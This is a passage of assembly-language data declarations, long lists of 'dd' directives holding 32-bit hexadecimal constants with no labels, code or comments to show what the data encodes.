0D3E17C5Bh, 12A6A32Ah, 0A7EBE829h, 215D23D7h, 68560223h dd 58CC3F4Ch, 980FFD20h, 0FEBC29C5h, 0C2CB4E3Fh, 26D8C75Fh dd 0FB5CC73Ch, 40758E05h, 8881B7BAh, 20B85BFEh, 0E9C40ADCh dd 0C2F4EF1Fh, 2AE30EE1h, 0F1C05F25h, 1D651511h, 8BFCE925h dd 788974C1h, 0A74FE7E9h, 5A1150D7h, 466870ECh, 0F896F50Fh dd 21D7808Bh, 0FEC6FF17h, 0D45CFC62h, 0B9BAC126h, 72DF9CEh dd 9DDE57C4h, 3A4CAC4h, 0FF5F20DDh, 1A07C705h, 0AFC01FFCh dd 7CAC0BEDh, 87EF043Dh, 865FA72Ah, 880288Fh, 0FE7C3159h dd 4903564Eh, 0BE921174h, 7EF51ECh, 425F453Bh, 5665AF14h dd 4CB75087h, 4AA6795h, 12F31499h, 61FB0E53h, 74E526B3h dd 0A99227Ah, 0F0C85864h, 670BBF79h, 0E174B3DDh, 188FF7F0h dd 3AA96858h, 0D1BF337Dh, 8B76384Eh, 2207310h, 0FC28C1B7h dd 0ECF38366h, 28C20F4h, 0A0049790h, 0F128A1B1h, 0C36930C0h dd 0C85995FEh, 37A146C5h, 0B2FA857Fh, 0A2E985B2h, 9D7F39E8h dd 0E9C1B6F3h, 68A0BB82h, 4755257Bh, 866276DEh, 5A6602F2h dd 0B0B3A0AFh, 0FF975D25h, 9B69AAB4h, 7830283h, 17D409BCh dd 0C1B142C5h, 27CB1D20h, 57CCFEE6h, 34396813h, 30C05734h dd 72ECD084h, 320559C0h, 0F428FF0Bh, 622481FBh, 26AC1613h dd 0D6B3E35Ah, 80103FC9h, 0A14D5A58h, 0FC04BA9Dh, 58920A5h dd 889664BDh, 0AFA385FAh, 0D501F2D0h, 21CD2668h, 99A5BF3Ch dd 9DC54455h, 8B497358h dd 5C41603h, 0FAC49CB8h, 0F73005A9h, 3F51D22Ch, 23591FB1h dd 2C8C8418h, 3916F268h, 649864CCh, 2E5C4114h, 0FB3AB6B1h dd 3646CF21h, 79780F33h, 0FA10D2E6h, 0C2D24777h, 57E72B9h dd 2B26CBE6h, 0D113C016h, 185E6D56h, 0F26090B1h, 7D2EB898h dd 3EEB5C11h, 9760474h, 93CFE95Eh, 0F4825917h, 0AC686CB8h dd 0EEA5853h, 47E78853h, 0EF555BFDh, 14EA2DEAh, 0B2F90175h dd 9D0281Fh, 81A41128h, 2F31D95Ah, 23122FF3h, 0D5FA4F6Dh dd 0F81AE0E4h, 90D78702h, 0BF60C4E9h, 0EAB5FF52h, 88F986F9h dd 0C5E6584Fh, 0B2384B20h, 3ED3242Fh, 0A97107EBh, 0EAD55809h dd 65922F68h, 0A8BCC69Bh, 98FF4A0Ah, 0F1B2CA04h, 66B238C6h dd 0B42AF8FBh, 0E54C2F87h, 0E49DD5B0h, 25387827h, 887612F6h dd 0C0C19A50h, 1049BA26h, 424B2DDFh, 0E812FADh, 2062E729h dd 7B959D0Fh, 88E9614Ch, 8AE36B8Dh, 1B79E318h, 0BF80F5D3h dd 0DA0A09BCh, 2F72155h, 7ECC796Bh, 125145B9h, 0C80CBAF7h dd 44E7478Bh, 0FF41D073h, 0C0B936D4h, 0CD3CF1F7h, 89259F76h dd 3E3953CAh, 5F77DE7Dh, 7CD4EF0Ah, 2C149503h, 30C0535h dd 0C0CA152h, 0B252E390h, 0D4794370h, 74E0712Eh, 0ED536583h dd 68519808h, 9912125Eh, 698E83Dh, 5B6A2C3Ch, 0DA970E8Ah dd 0CB4F8489h, 0EEDBF7E4h, 0B2E9F431h, 2768D964h, 2C5E6073h dd 6059553h, 0E04410E9h, 0CAEF1CBAh, 54BE2717h, 1698AD9Bh dd 0C29EAAE9h, 49C50501h, 0D83F1E0Ah, 8FFF9923h, 262BF20h dd 88C12378h, 8F02EA83h, 805EED77h, 1965F28Ch, 51899F4Dh dd 3083D580h, 44B55A28h, 4BE3C078h, 2FD3CB81h, 5316CD12h dd 0B039C7EBh, 98189DEBh, 0DE4CB0B8h, 5EF30489h, 0CAE6DF89h dd 49E9560Ah, 8ED5A78Dh, 8724C161h, 0BE2BC361h, 25683F29h dd 2B6F2341h, 685C058Ch, 0BD8C0EF3h, 5BF10CBAh, 0BCDE3C49h dd 3A760C02h, 0EDD2BE9h, 0FEB804A2h, 7FCB5CF4h, 3DE36860h dd 0FB056028h, 51E78D09h, 26B1D69Dh, 0FE43C952h, 3FE40EA0h dd 0C08314BFh, 0A8054007h, 2309ED28h, 521B30E9h, 53E70A5Fh dd 0C96159h, 227C2492h, 13984F47h, 0D700BB41h, 1201E1E2h dd 0BEF75D33h, 3547C207h, 0EAC07885h, 0B0441F7Dh, 0B85B20BAh dd 0C296812h, 0AAFE38FEh, 0A0E6695Fh, 84F1B94Fh, 6C14A04Ah dd 0EDABB54Eh, 0D2143A18h, 0C8151041h, 34206801h, 0ED5B1E82h dd 2F543CFCh, 92F3AFD2h, 0B64BA0F8h, 0BA20D2BEh, 90A74757h dd 5211C921h, 472D384h, 90FF4F5Ch, 0D51FCB29h, 2575547Fh dd 0F1BF0A96h, 4402C0Fh, 83DFAA8Bh, 26BAFFA5h, 9F08C67Eh dd 385E25DEh, 1FB73B08h, 348D4A5Dh, 0E2060806h, 861B5527h dd 259B9810h, 0E4DAA55Ah, 0F6910313h, 0C9F25496h, 0B8FFB850h dd 0C7149952h, 8009C9ACh, 0EBD3F78Eh, 0B050F1C0h, 706FBA5Bh dd 0BEF05C39h, 40B4341Fh, 5193B353h, 0C94EA4E9h, 0FA7E34ABh dd 0C6BBD516h, 7140CDEh, 75E06425h, 0D8B2294Ah, 152D2150h dd 0AD38EE32h, 0CDD60573h, 0EA01C711h, 1089CA90h, 0E82E4BCBh dd 52F4000Ah, 92BF2997h, 0FF5E4A51h, 4BDDE84h, 0FC09D406h dd 0E702117Ch, 430F4472h, 4661C147h, 44D2992Eh, 0A5A60BE8h dd 3EA90F63h, 0D3FFD6B6h, 33EB88F8h, 95DFF60Ah, 30B4B502h dd 0E3E50FEFh, 0E4E65F8Eh, 7B820C43h, 0C5930411h, 0D3F22D81h dd 17EAD73h, 0E9E82107h, 1FE03A2Ch, 0E7CFB554h, 1282E6A7h dd 0AC307168h, 9E81A484h, 28005B35h, 0A15C2CC8h, 7DC73E59h dd 7725EFBEh, 64B305C0h, 4F6E4695h, 4F9078Ch, 2C682195h dd 53206ADDh, 92F4B5E9h, 1CF858DCh, 0B90E4030h, 200C4E91h dd 0C4CA2104h, 0E380AEAh, 2CB9ED9h, 7EA961DCh, 1BD99E43h dd 1802FB24h, 541F2763h, 0DAC4A01h, 14171C08h, 632520CAh dd 9B68A0B0h, 0B850011Dh, 5E55D29h, 263F700Dh, 8B033575h dd 0F72CAF21h, 0C4AC0D8h, 0BF2E4912h, 473AE913h, 72E388B2h dd 8851556Eh, 37AF6805h, 28172CB3h, 9139FBB1h, 0C05AD368h dd 54234DFBh, 86E91813h, 0BD4A3EFCh, 599BA174h, 8994F96Eh dd 9FE95077h, 1BB5F6FEh, 2A05E3BCh, 16223427h, 0B11C87BFh dd 0CF3130F6h, 54A8B2E7h, 9D05EEF5h, 0F5CB897Eh, 0AD4131C2h dd 8DE36E2Ah, 0D897884Eh, 6C658BB7h, 4D4AC26Eh, 5FE03879h dd 6DCB2261h, 0BD7C54C6h, 0B31D9093h, 4A893A30h, 0EA4BC4A7h dd 0C35D5391h, 0A1F34581h, 61A92E80h, 2141F4D7h, 0F9259C92h dd 0BC15E87h, 9D0007E7h, 2C0B7488h, 11286AB4h, 0FF3DAC0Ch dd 10570C1Eh, 4784F72h, 937C9071h, 0CBAF22D4h, 0A5152D9Bh dd 99BE599Ah, 96886B62h, 0BDA32DE9h, 0BE0A11D7h, 4898EC3Fh dd 11BB056Bh, 37C47D29h, 3FA14D87h, 0CE4074B7h, 5A9E2E3Ah dd 0A305EA09h, 0BA497F11h, 58D654FDh, 0FABFCAE9h, 1A572D73h dd 7FB18E18h, 0B9183328h, 0FB721709h, 0E7707703h, 0B4590881h dd 170412ECh, 8EFB3C8Bh, 0AE101372h, 0E3E706BCh, 0A958EDB9h dd 1CB94E31h, 7B3B412h, 27FA883Bh, 0B1DE95D1h, 64DA2F43h dd 4A16354h, 5576A853h, 48A18B51h, 0AF2E169Dh, 38078AFAh dd 0ED7EC130h, 28680E1Ch, 0D9FB1636h, 0FA5F111Ch, 8BC112C9h dd 0BFA9D0BAh, 0DCCB3378h, 0F21D7EB4h, 0CE17527Fh, 3B8C687Dh dd 0D696795Dh, 2660E725h, 3E10C22h, 7F9DC223h, 565B4183h dd 32A9EFE9h, 0C4E77EFh, 0C4809180h, 0EAFE7399h, 88772DECh dd 0C3FAB34Ch, 1810BFB2h, 0E909F330h, 1AAD4F8h, 9C670583h dd 7D9C8153h, 5573EC77h, 0DCE0F8B0h, 0EECB2980h, 57EBAA36h dd 775A9EFEh, 4C065D79h, 0A0ABFEE7h, 324D6Ah, 0E6810287h dd 38450A89h, 0FB144490h, 2FB5FAFDh, 22C5DEF1h, 0C42CF398h dd 0A909FC5Eh, 0B4F7E83Bh, 0DEC5BA91h, 9313A32Eh, 12F6F3BAh dd 1BE8A6E9h, 0DF30EE4Bh, 0B00F5CFCh, 5A7825F9h, 22D49C5Dh dd 5792C268h, 7D5A55F0h, 52517031h, 12FD5D02h, 0FB1AF7B7h dd 569DE702h, 0B221A60Eh, 1548B78Ch, 0EC2443ACh, 3359B45Ch dd 8FC47445h, 6F7763AEh, 3E535DF9h, 0FD6AB9E1h, 51AC4C4Fh dd 13FB2B78h, 999B8A4h, 0E9295F08h, 6E4611h, 80D6F6E5h dd 0F7F4C0E6h, 0A552F04Ah, 9FE52FAh, 2A7E6C03h, 5DE1806Bh dd 2BA3C0Dh, 176F5713h, 0D04958E9h, 79F82F5Fh, 0BF91CA3Dh dd 0A7C41768h, 5AA1790Bh, 9FC7FA84h, 0FFBCEE79h, 643D3325h dd 94E5F8E4h, 270C6AF7h, 0E91286D2h, 72EED56Dh, 0C65F53FDh dd 27597CEh, 57EC9EE5h, 8103A964h, 0EE4B2CF1h, 590C0769h dd 0E5432316h, 49CD5D1Dh, 2068B14Fh, 7E9F5554h, 6E844956h dd 0D2310504h, 23BBEC85h, 0AAD4EF28h, 59E186B4h, 0ED9777D0h dd 7EF04E3Ah, 8A675DBEh, 0D00B0275h, 7E7D6849h, 0CF820971h dd 5C523E5Ah, 7C031DBh, 42CBCC41h, 681869D8h, 0E1689F92h dd 80838055h, 0E72859CBh, 76C6A16Eh, 26544866h, 7AA57BDFh dd 28C01724h, 8A4E05C4h, 943FAC46h, 54052570h, 0CC31506Dh dd 77624895h, 0CDDA3D79h, 0B05E0858h, 0CC48900h, 21F4E0D3h dd 7664969h, 303FEE05h, 10DE67F7h, 3997E96Ah, 30E7D6A9h dd 5FCEF28h, 70651525h, 1B559F59h, 0D4E9C85Dh, 0EB599D08h dd 9E086B24h, 375A1CB7h, 0E176958Ah, 0CC003B6Ah, 82B563Eh dd 6F24101h, 2B951C08h, 2FC44523h, 0F209A6ECh, 7E256AE9h dd 8491969Ah, 8658801Bh, 0B97B6CEEh, 7434842Dh, 46D047E1h dd 549D08C2h, 68520EA2h, 0AD461D49h, 0ACD9722Ah, 6957C104h dd 94EA4E3Fh, 5808097Ah dd 2ECA5075h, 863E8B2Ah, 565AD731h, 49E78102h, 8E059D1Ah dd 9C02C5A1h, 0D6F4DA04h, 6908AA17h, 74150103h, 6A31E3A0h dd 112ECA6h, 81B2ABD7h, 0E4B3EFB4h, 0A9C61913h, 403E9A71h dd 2579081Ch, 0CCC536ABh, 7C6D908Bh, 5C054F5Ch, 328BB35h dd 5B544045h, 34AF294Fh, 0D2F1BB3Fh, 0EFD7522Fh, 6785E0C4h dd 4E2288FBh, 0A9F7D35Fh, 0C325E95Dh, 26E6465Fh, 0CF7D3802h dd 67DE352Eh, 7D4C6CD7h, 9FEB27D5h, 4A820E4Ah, 31DFC204h dd 2108119Dh, 5A1CAF60h, 17186856h, 0EC6F2F26h, 44EB5FD0h dd 0FA015CC1h, 9E5A6244h, 931041FAh, 2A5BEC7Bh, 93508AA9h dd 3A9B03C6h, 0F5310673h, 8ED4C12h, 69125112h, 0C2E2E7ACh dd 0FD654A5Dh, 7C8ED941h, 8BBB3A25h, 155542h, 4B05504Fh dd 0C0E92C09h, 3B77A661h, 4F0A40A6h, 216086A1h, 9B112070h dd 667C6272h, 65BBE109h, 0FFD644h, 67112E73h, 3ABA0DE9h dd 5325309Ch, 0F7B289D0h, 0E99C526Dh, 7722A85Ah, 0F89A6263h dd 4BBFDAC5h, 51D628AEh, 7F28681Bh, 0CA8F449h, 64BD9E60h dd 294C7AA3h, 253A5018h, 28277412h, 567E9101h, 0BC7FAF54h dd 0CEB7B74Eh, 4AB44AC3h, 40E3B14Eh, 6E5FBB11h, 4ECA0163h dd 0C205C276h, 12145840h, 0AF1C4F21h, 6914868Ch, 22D544AEh dd 551C5437h, 6E18BE19h, 48BF7B00h, 9064C06Ch, 3E3A0CF5h dd 6B61233h, 61BF04B2h, 0BC6A2D7Bh, 3F7864F1h, 41FDF2BEh dd 17126EA4h, 10DAB7AEh, 71056C81h, 0EE59A669h, 4E3A40C8h dd 0E5FFA8C6h, 0CDCF5C21h, 0BDC9202Bh, 2E0460B0h, 30E58133h dd 0B35336C3h, 8531CBCDh, 0A2C209C1h, 39809E24h, 0E29D66F2h dd 0E43FBE75h, 0ED43C196h, 391016B1h, 198B8F60h, 0F53C5CC3h dd 0C5E15Fh, 1D61F9B6h, 203F875Ch, 0BF5F4ABBh, 7D99DD67h dd 0B39E545Bh, 0D0B28813h, 0BFC1C140h, 3E7DA109h, 39D6B58Ah dd 97D75BDAh, 8F21FB01h, 0C46BB7E9h, 768EFB65h, 0E90C8330h dd 3E9A75EAh, 390B1B90h, 762AD31Eh, 0D6F762C4h, 35060B61h dd 7DF4830Eh, 0E02E683Ch, 2DE903EFh, 38DD2071h, 0ACA81D5h dd 6B0D45DBh, 0D3A642E4h, 0D6372AF5h, 94CA802h, 1B6061D9h dd 2BBB296Eh, 59960EE2h, 5BA307Bh, 94FADF84h, 0C97E0BA3h dd 16BD6EC0h, 3871631Eh, 0D67A6B89h, 0CDE619Bh, 991AF03Ah dd 20A6C6BFh, 5E5E4EBBh, 0C62F82F6h, 0CB20DF5h, 61BEFC7Eh dd 785560Dh, 0FE18DE00h, 10FA2B5Ah, 0C6808D8h, 1DE90B14h dd 572782D4h, 0B12419E7h, 0C2DF9C18h, 6D060F8Dh, 38845D01h dd 48A6B3CBh, 0A0BF20B0h, 4AC4B5h, 81466EC1h, 0AC196DE6h dd 0EED17213h, 858BF20Fh, 0E9181F7Dh, 9A9A8E10h, 81B375D2h dd 91A26A5Ch, 0D040EAD6h, 0FC02BB05h, 0D0011432h, 0FB47072Dh dd 0F3D3E909h, 25A7E4F7h, 14DF5D5Fh, 0C57E88D5h, 766334E9h dd 0F2C1EBDBh, 0E6D1CCFEh, 2BE87Fh, 0BED80A5h, 2859EE20h dd 4F93D6F6h, 0E4E3C4BAh, 0CBF65A0Eh, 16F50953h, 0D9B30868h dd 0B515316h, 6125ADADh, 0AB189402h, 0BBD0C61Fh, 823B1792h dd 45F55CD7h, 93CFAFE3h, 5698D52Dh, 0EE20617Dh, 67230935h dd 0C8003226h, 6FB174A1h, 0E490A590h, 5EA9147Eh, 35D96155h dd 0A5062228h, 5A4838FFh, 0C953F6B5h, 710891FEh, 3A0C905Ch dd 351409Ah, 632AECB9h, 7E2574Dh, 0F92596FEh, 4F7249E0h dd 0ECD4D04Ah, 4C17CEAEh, 7FFD045Ah, 9C02E1Fh, 616D3BFEh dd 581B0C22h, 0EC816AE0h, 90C38005h, 8227D4E9h, 0AC20F650h dd 0D70926EEh, 2AC75130h, 6AFC5827h, 196B1206h, 4ADFC3Eh dd 505FF831h, 7CDD5AC0h, 0E9350D12h, 0C2523285h, 0B2525957h dd 0C15F337Ch, 5932574Ch, 0D4871813h, 5653AADCh, 738FD8FEh dd 63A6475Ah, 33ADE982h, 109EDB57h, 8FED8418h, 6E645E0Ch dd 4BCC613Fh, 5A34CEBAh, 79E1F6B9h, 0D73001D0h, 0C692817Eh dd 0D5FEC18Ch, 10E9D4EEh, 5B229CE3h, 0BA06D817h, 4EE36963h dd 7B14ADEAh, 0B885064Bh, 0DDE385BAh, 48A900C8h, 3698C003h dd 761BF706h, 50C1835h, 0FAE27F2h, 6BD10047h, 1E6B7FEh dd 25AFF94Ch, 2DC014C2h, 0FCD945B6h, 3E967F49h, 27C1295Bh dd 44D42DADh, 0B52275E2h, 5019574h, 79502CDCh, 5FBF342h dd 0E6F6FA5Ah, 3F30F250h, 0BA02596Dh, 98EC7177h, 0FF1359D6h dd 0F7B624C1h, 0B72EFDDCh, 5204FD18h, 9DA6797h, 0ED82EEC1h dd 5D054027h, 6890CCAFh, 98204C2Dh, 0CB03FC4Dh, 0C68D6D3h dd 791816C2h, 0C30C1A36h, 217E2D92h, 4800B0D8h, 63052E35h dd 0B0C689A3h, 0AAFF61BAh, 64AEA0BFh, 0B840C41Bh, 2C59775Bh dd 646DD442h, 8330BA5Ch, 0B7547068h, 110BB198h, 0F21D93C2h dd 0FD7B66FEh, 534374C2h, 13F647F3h, 0DE206AB0h, 0E4584B6Ch dd 0AD419A05h, 31FBDF20h, 0A096EF30h, 0C6896E9Fh, 0E4F4807Fh dd 0DD488BD7h, 90774C41h, 4E8A0B82h, 0C40D7562h, 0EA08041Ch dd 70B788C8h, 27039FDEh, 97EAE288h, 599581F8h, 48C78C79h dd 5F9BCD15h, 1C2B188Bh, 0C529264Ah, 3AA30894h, 1ED31325h dd 9AC9FE3Bh, 0DC8159F0h, 31BBEBB0h, 10C27CB1h, 8E40393Eh dd 74755E65h, 0F7D1FA58h, 5102CADFh, 5AD35E57h, 5D1B425Dh dd 5995EBE4h, 0E2114966h, 0E05149A9h, 0AB92E0C1h, 1112327Fh dd 0E2BEFEA8h, 0F10B4FCBh, 54B90098h, 7DE98149h, 343B1330h dd 0DCBE0489h, 0B4DAABDDh, 6A15E90Dh, 0D855DA21h, 24E90D2h dd 61407780h, 0F080D929h, 48314D3Eh, 18596872h, 218A843Ch dd 0AAE2EB13h, 9603ACD0h, 0E91D5251h, 57C24E69h, 7FDDB0Ah dd 0DE1EC823h, 527FC2B2h, 0F6DD4255h, 0FBD76373h, 31AF365Ah dd 0A8A78A20h, 584D8416h, 2CBAB4DEh, 99FCEBAh, 81CCF7E4h dd 23047495h, 8A4CAE64h, 64D17CBEh, 0A5EE92Dh, 43266168h dd 0E66DE98Ah, 682FB4A2h, 0AC9B7D5Ch, 3FE3F1D1h, 52D45CECh dd 68381B20h, 223E8B14h, 2D7C5659h, 74A8EBE8h, 65491EB6h dd 0DF273E71h, 0E961345Eh, 7D96091Ch, 8985AABBh, 0A0C712AFh dd 0EF165DB4h, 0B9025E0Ch, 0A2E0CDE9h, 9B5328ACh, 59B7B09Bh dd 4EEF3980h, 886DF785h, 201A8FCh, 0C4B2E93Dh, 75FAC4FEh dd 62F697C6h, 0D3165CFh, 0F05E83B4h, 77784D2Eh, 3A2D2A7Eh dd 34E17D98h, 801B73CAh, 0BC6866BFh, 0D265117Ch, 0B1BFBF9Fh dd 8940E9E8h, 8F835357h, 3A8DFECEh, 0ED176BDDh, 0A36D5A96h dd 34100BDBh, 0D18FEE5h, 888007C0h, 0C3DEBFDCh, 59E10452h dd 5C8E25D2h, 47973AF2h, 0CAAF40A6h, 334C2CCCh, 0C26AA598h dd 321226BFh, 0A5A90C35h, 54E95681h, 0F1F951AFh, 34997B01h dd 2D27992Ch, 4DC4257h, 17BF9B9Ah, 2A72B5D4h, 283669EFh dd 0A4FC2C0Eh, 14AD4CA4h, 1453BF56h, 0C405527h, 7A624568h dd 79E63BF1h, 2924B938h, 53516083h, 7AF8EB89h, 0E9420FB5h dd 620F59F8h, 0BB0093CBh, 4E545506h, 2A53A165h, 0A4F90982h dd 4EEDCCC0h, 0CFA3307Bh, 0D5FF8BDh, 0F751D0Bh, 78E37030h dd 14BF0361h, 39AAC205h, 42C701C1h, 550BBAF6h, 0AB005B4Bh dd 5B685350h, 9723567Dh, 1643D4C0h, 951E8FACh, 2D836B03h dd 16C6053Fh, 228169B8h, 0A1DF8705h, 3C32C373h, 272013E9h dd 0F9D582DEh, 19554979h, 0D42C9A82h, 0EBC50116h, 4C652368h dd 0E8878754h, 21234403h, 5607B42Ah, 2C073153h, 5515E557h dd 33524590h, 642E1C32h, 410E786Ch, 50655644h, 4E0D3149h dd 0C64CF954h, 77010AA8h, 812B6A6h, 0A4DEA544h, 0EC9FC0AAh dd 7F90FDDCh, 15A55E37h dd 0A69842D8h, 427D824h, 44CE48A8h, 10C42258h, 0BA89A95Fh dd 4484C808h, 6E1F56B0h, 0E1409AB4h, 583D0F29h, 867AA0h dd 27F913CBh, 1C718B45h, 9C7EB300h, 12F6C8E2h, 6C3E0058h dd 0E5B7D189h, 2B0045FFh, 743D604Bh, 21D7FDh, 0C6FE980Ah dd 484E08ECh, 1690D61Eh, 0F3C02DDCh, 2E5AA573h, 0EDA200F5h dd 712910EAh, 0AE00286Bh, 0C8E880B5h, 4D05EEh, 0E2DF347h dd 72DAD4F7h, 9C502000h, 7E14449h, 666C0024h, 1A310E12h dd 0A27F5C40h, 0AB003D76h, 2B548063h, 1E82C1D8h, 4F94525Fh dd 0B6832C4Bh, 4BDFA028h, 61660187h, 0FC2ECA6Fh, 34039399h dd 2B4E745Ah, 0F0350786h, 5005EB9Dh, 8DA44F46h, 13CDB300h dd 0AF11170Eh, 3DF700DDh, 6D355764h, 313ECC4h, 5BB837D5h dd 67210900h, 0DC947B4Dh, 0BF0C207h, 7EA03953h, 0DAACC6h dd 0CF243EF8h, 954F31E6h, 0C5A97B00h, 3C1FF10Bh, 986A0984h dd 0B300F8B2h, 0FCC1F013h, 4BBDB3A0h, 0D32BB128h, 0F723861Ch dd 62C069C0h, 732F35C1h, 0DFF600DBh, 733E61A0h, 2900BA10h dd 6FB2B80Bh, 5771AFh, 783D692Eh, 25BFD25Fh, 94002A76h dd 0D8DED5DAh, 3C4F66B9h, 0C0989275h, 504EBAEEh, 21446A06h dd 88EB90h, 0FE893E6h, 0EE15DE08h, 8AB8A104h, 0E9D706B7h dd 0FBCDE780h, 425C0314h, 0B9D38B70h, 2C46FED0h, 0BE004EB0h dd 0B1664FA4h, 49FB15CFh, 9F003D29h, 18EA04BCh, 5E057832h dd 4170937Eh, 0CB3D8042h, 7334031h, 81F500F6h, 84C313CFh dd 0D0EDD5D9h, 22487D77h, 0BC24720Bh, 19007B02h, 0CAE55A5Fh dd 510907F0h, 7079D64Bh, 5D8D239Eh, 33834914h, 999000C4h dd 0A4E2E8EEh, 54340912h, 0E9268ECFh, 52AB7819h, 96AD6790h dd 0AFD3BC02h, 81A1258Ch, 53FE51B5h, 9005BFD8h, 0C037C04h dd 0A0CBE2A7h, 2C7B6B20h, 0CE0FA861h, 95C8757Bh, 3BC173DBh dd 560CAC8Bh, 0F8237E33h, 3BB9E00h, 0B4F35258h, 3DF507DAh dd 0E23B4138h, 0AB41D542h, 0E015713Ch, 461C5D15h, 8EC12D07h dd 1A979289h, 21DADCh, 0A90B1164h, 0A4D0F4D7h, 19C8B43Eh dd 6527F707h, 0B0012400h, 0C60C6462h, 9EBD4073h, 25481887h dd 9FF2198Ch, 1E4C991Bh, 46B482E7h, 0C1E41B49h, 33C0BFF0h dd 3703D92Dh, 74BEE1F8h, 0AB00091h, 0E5CB9DB7h, 3BE6112Bh dd 0C200FC76h, 2677D267h, 1DB5CC1Fh, 0C040F8DBh, 0B4B97154h dd 1600D0B6h, 35BBBC3Dh, 30F0D9E6h, 0C3857DC2h, 77D21DBh dd 7C964E01h, 0F30DC5AAh, 248038E8h, 80A89466h, 9EB2089h dd 6302354Fh, 0D9ABC57Fh, 52C840F6h, 98B2016Ch, 7AACDB8h dd 6F3A20FBh, 0E263FD30h, 72D4DA32h, 161A00B6h, 657C26E9h dd 46606F42h, 9B407F0h, 62A10C04h, 0C17723Fh, 0B3B939h dd 9F1419D3h, 377E116Eh, 501E483Ch, 3F7F3B67h, 7CC0CF0Fh dd 0AC69836Bh, 0C215F1B9h, 240B3830h, 16471FDCh, 7119FCF9h dd 1DBA4352h, 8A79E22Eh, 0B0B9330Bh, 0C8AB8500h, 503081A4h dd 146DA86h, 234248F3h, 80704164h, 0F95A0617h, 0E8D5A30Ah dd 90A70652h, 1E61446Dh, 3CE73A00h, 89ACEB22h, 4E17C028h dd 7FA1F5FBh, 86A9C000h, 267A7778h, 0A6AB00FEh, 0CD876943h dd 0CB3ED1C8h, 0E64B3088h, 1859B617h, 0C8B0C703h, 0D900E915h dd 2BD3E17Ch, 4A5ADEE4h, 0A4080260h, 3C6BFB3h, 751E9259h dd 906A8100h, 0F1EEF4AEh, 0F5CC440Ah, 800C2B39h, 37F8DCB6h dd 949953h, 0F6EDF29Dh, 7301ADF0h, 0BFC25B0h, 179EE71Dh dd 0A2A89B40h, 2B3083h, 4B6689C8h, 334FDFC5h, 86DAE007h dd 63309D9Ah, 7FBC62h, 7A91E454h, 92C3984Eh, 803A3739h dd 6D532D8Ch, 2E0FC7ACh, 13D1795Dh, 614A00FAh, 4B7FD650h dd 587A2603h, 0ADA08275h, 6281C65Ch, 0ED64CFA8h, 8CFC2261h dd 415205Eh, 89432B00h, 0FEB69D6Fh, 2D120FE4h, 0A0405B75h dd 1AFCCEE8h, 0F1466002h, 487153C8h, 22DE7A9h, 0A65E4113h dd 5543BA8Ch, 12352080h, 68F89F24h, 0CB650039h, 0D9F04FD1h dd 26000B6h, 83D62E58h, 0AF00926Ch, 0CCA6DDF7h, 0E42A30EAh dd 0FA8D984Dh, 19F22EACh, 1FA2416h, 0BDB2E0C9h, 9B830003h dd 0F5C700E1h, 6A3C560Eh, 0B37ACD85h, 7200E391h, 60499EB8h dd 0FC900ABh, 853F23F5h, 72A0996Bh, 5803722Ch, 476A8D78h dd 2FB009F9h, 770023BDh, 0E3E8A284h, 545D8013h, 0D72AB940h dd 17C812Ch, 0A25A3F19h, 0C8A0A69Dh, 10206C0h, 63682003h dd 0C1BEC065h, 0B3100059h, 0B9164770h, 0A2609426h, 2A87AA48h dd 540CC09Fh, 69985601h, 1357E848h, 0AFEC1B86h, 58BBD024h dd 0D981B89Fh, 7726CECh, 22EEB2B3h, 9BCB3205h, 8ADD5F48h dd 0B902D57Ch, 7C79CDCAh, 0ED664094h, 494E2406h, 0ABA20BBFh dd 0D01EF670h, 8FC52DEEh, 4880DFE4h, 1A0F9Fh, 4F297E63h dd 0B3AAAF69h, 0CD004BE6h, 777360E3h, 1FF5271h, 557EA2FAh dd 0D8DE7F32h, 9D00F781h, 5FC01BBh, 6020435Ah, 9AED1B91h dd 0B507D8EFh, 8642D610h, 904A2C10h, 0F4CE00E5h, 33A540Eh dd 1001A1C4h, 6679C2A6h, 2DC80D13h, 3B9A2873h, 549604CEh dd 0F0B63D6Bh, 0A2498A67h, 34A4C53h, 0D48C7143h, 47FFD0BAh dd 945B482Dh, 6750A504h, 0FCECC0B2h, 8C00462Ah, 5BDA072h dd 23319EBh, 947F5F79h, 5F484071h, 2A43C436h, 0D0034A22h dd 0D2D78F76h, 3136E8D4h, 0CD9FA03Ah, 620D5CF3h, 0F2515700h dd 637D3518h, 95AE912Eh, 10000512h, 31171562h, 459E2477h dd 790CBD70h, 0F3D34D4Bh, 37510B0Bh, 61E29265h, 68E823C5h dd 0C49600B0h, 0B90E28E2h, 39001B10h, 0AF93657Fh, 909DBF5h dd 82546E26h, 0FDE8A940h, 0F7D7DA18h, 412D9FD2h, 50192593h dd 0BCD3266Ch, 11189930h, 7C600B5Eh, 1DA3749h, 0F60D70F2h dd 0A71CAECAh, 73002CC0h, 4E340E6Dh, 0F2AA288Dh, 1CF600B5h dd 0C3EE1135h, 2103D82Fh, 0B8BD68BBh, 0A067ABC1h, 3343667Dh dd 0E1E3078h, 1453B6D8h, 0FFB2D518h, 30247735h, 0EE0F8829h dd 0C00B7542h, 778D3D7h, 2720037Ah, 305B7F66h, 5DB7938h dd 26F07B2h, 1FF980BAh, 0E669833Dh, 3C530FD2h, 2A2023FDh dd 0F7FC4932h, 97421D0Eh, 98946092h, 34E7CB6h, 2B6E741Fh dd 7C248F8Eh, 6A0380E8h, 3FAB7B2h, 1A318415h, 1112BAF7h dd 0F60071C4h, 1E23DDC3h, 0FCE200BCh, 70562842h, 3B00B1B6h dd 0FBB59973h, 180FF8F6h, 1C545257h, 8200DF0Ch, 2F84793Fh dd 0E4F7DDh, 18E0B3AEh, 0A941366Ch, 140443Bh, 6E8833E3h dd 0BE80B69Ch, 585D17F9h, 4A70A7F0h, 740CD09Ah, 2CEDD192h dd 1D0D0E83h, 56806257h, 0D9DF977Ch, 433EFDE4h, 0BE752829h dd 1DD5B803h, 0F00B2218h, 0C3BB4BDh, 349A9E56h, 1700CF1Eh dd 59701B12h, 0A0F67B36h, 9B003B6h, 8ED835AAh, 680D48Eh dd 1A616620h, 0E71B5900h, 4CA1CE89h, 1E690F95h, 0F5E31032h dd 391E3E9h, 6F58E449h, 1B3B703h, 18B3D92h, 0C294F6D8h dd 501D22DCh, 0EC0B7EE0h, 9AC4C000h, 69704772h, 1DF2000Dh dd 0E7925901h, 17586CE1h, 0B250BA6h, 3CC82039h, 4057D4h dd 0C3C88266h, 4467C6CCh, 0C9267201h, 0AAC1146Eh, 20168074h dd 0BC267149h, 2F60B65Ah, 0FE75E677h, 8EF103F6h, 0E14CEB4h dd 886DF197h, 288160C9h, 81863102h, 98C5DF8Ah, 0E50813h dd 6A2778CCh, 